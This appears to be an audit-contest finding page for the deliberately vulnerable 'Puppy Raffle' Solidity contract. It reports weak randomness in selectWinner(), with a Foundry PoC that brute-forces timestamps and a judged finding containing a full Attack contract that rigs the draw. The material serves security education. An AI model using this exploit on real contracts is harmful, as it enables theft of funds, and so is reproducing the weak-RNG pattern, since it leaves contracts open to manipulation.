Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

Weak Randomness allowing bias or front-running

Weak randomness in the selectWinner() function causes predictable or biased winning that can also be front-run

Description

  • The 'selectWinner()' function selects a winner from the Puppy Raffle and mints a puppy using a hash of on-chain data to generate random numbers and specified by the natspec.The winnersIndex variable uses a hash of values like 'block.timestamp' and 'block.difficulty'

  • The issue with the variables used in the hash to create winnersIndex is that they can be manipulated and therefore the winner can be predicted making this not truly random

// Root cause in the codebase with @> marks to highlight the relevant section
function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
@> uint256 winnerIndex =
uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
uint256 totalAmountCollected = players.length * entranceFee;
uint256 prizePool = (totalAmountCollected * 80) / 100;
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
uint256 tokenId = totalSupply();
// We use a different RNG calculate from the winnerIndex to determine rarity
uint256 rarity = uint256(keccak256(abi.encodePacked(msg.sender, block.difficulty))) % 100;
if (rarity <= COMMON_RARITY) {
tokenIdToRarity[tokenId] = COMMON_RARITY;
} else if (rarity <= COMMON_RARITY + RARE_RARITY) {
tokenIdToRarity[tokenId] = RARE_RARITY;
} else {
tokenIdToRarity[tokenId] = LEGENDARY_RARITY;
}
delete players;
raffleStartTime = block.timestamp;
previousWinner = winner;
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
}

Risk

Likelihood:

  • The malicious user which could be a miner or an MEV bot when the contract is deployed and they call the selectWinner function after having entered the raffle.

Impact:

  • The malicious user or bot will use this vulnerability to front-run the transaction and make themselves the winner thereby earning the raffle.

Proof of Concept

The PoC below show how a winner can be chosen using the hash listed in the code

function test100Randomness() public {
address expectedWinner;
uint256 numberOfAttempts = 0;
// creating players
uint256 numberOfPlayers = 100;
address[] memory players = new address[](numberOfPlayers);
// create 100 unique address
for (uint256 i; i < players.length; i++) {
players[i] = address(payable(i));
}
uint256 playerLength = players.length;
console.log("Starting balance of address 26: %s", address(payable(26)).balance);
// entering the raffle
puppyRaffle.enterRaffle{value: entranceFee * players.length}(players);
// calc the end time
uint256 raffleEndTime = puppyRaffle.raffleStartTime() + puppyRaffle.raffleDuration();
for (uint256 i = 0; i < 1000; i++) {
// used to discover the number of attempts to discover the winner
numberOfAttempts++;
// with each iteration, the testTimestamp is incremented by 1 + i
uint256 testTimestamp = raffleEndTime + 1 + i;
// updating the current timestamp with each iteration
vm.warp(testTimestamp);
// discovered timestamp is applied to the equation
uint256 expectedWinnerIndex = uint256(keccak256(abi.encodePacked(address(this), testTimestamp, block.difficulty))) % playerLength;
// get the address of the expected winner
expectedWinner = players[expectedWinnerIndex];
// making sure the expected winner matches the desired address to win!!!
if (expectedWinner == players[26]) {
console.log("Malicious Timestamp: %s", testTimestamp);
console.log("Expected winner index: %s", expectedWinnerIndex);
console.log("Address of expected winner: %s", expectedWinner);
console.log("Number of attempts to find the expected winner: %s", numberOfAttempts);
vm.prank(address(this));
puppyRaffle.selectWinner();
address actualWinner = puppyRaffle.previousWinner();
console.log("Actual Winner: %s", actualWinner);
assertEq(actualWinner, expectedWinner, "Address 26 did not win");
break;
}
}
console.log("Final balance of address 26: %s", address(expectedWinner).balance);
}

Recommended Mitigation

A good recommendation to solve this issue is to stop using 'block.timestamo' for randomness and instead use other sources like Chainlink VRF for randomness

- uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ //get winnerIndex using Chainlink VRF
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-03] Randomness can be gamed

## Description The randomness to select a winner can be gamed and an attacker can be chosen as winner without random element. ## Vulnerability Details Because all the variables to get a random winner on the contract are blockchain variables and are known, a malicious actor can use a smart contract to game the system and receive all funds and the NFT. ## Impact Critical ## POC ``` // SPDX-License-Identifier: No-License pragma solidity 0.7.6; interface IPuppyRaffle { function enterRaffle(address[] memory newPlayers) external payable; function getPlayersLength() external view returns (uint256); function selectWinner() external; } contract Attack { IPuppyRaffle raffle; constructor(address puppy) { raffle = IPuppyRaffle(puppy); } function attackRandomness() public { uint256 playersLength = raffle.getPlayersLength(); uint256 winnerIndex; uint256 toAdd = playersLength; while (true) { winnerIndex = uint256( keccak256( abi.encodePacked( address(this), block.timestamp, block.difficulty ) ) ) % toAdd; if (winnerIndex == playersLength) break; ++toAdd; } uint256 toLoop = toAdd - playersLength; address[] memory playersToAdd = new address[](toLoop); playersToAdd[0] = address(this); for (uint256 i = 1; i < toLoop; ++i) { playersToAdd[i] = address(i + 100); } uint256 valueToSend = 1e18 * toLoop; raffle.enterRaffle{value: valueToSend}(playersToAdd); raffle.selectWinner(); } receive() external payable {} function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) public returns (bytes4) { return this.onERC721Received.selector; } } ``` ## Recommendations Use Chainlink's VRF to generate a random number to select the winner. Patrick will be proud.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!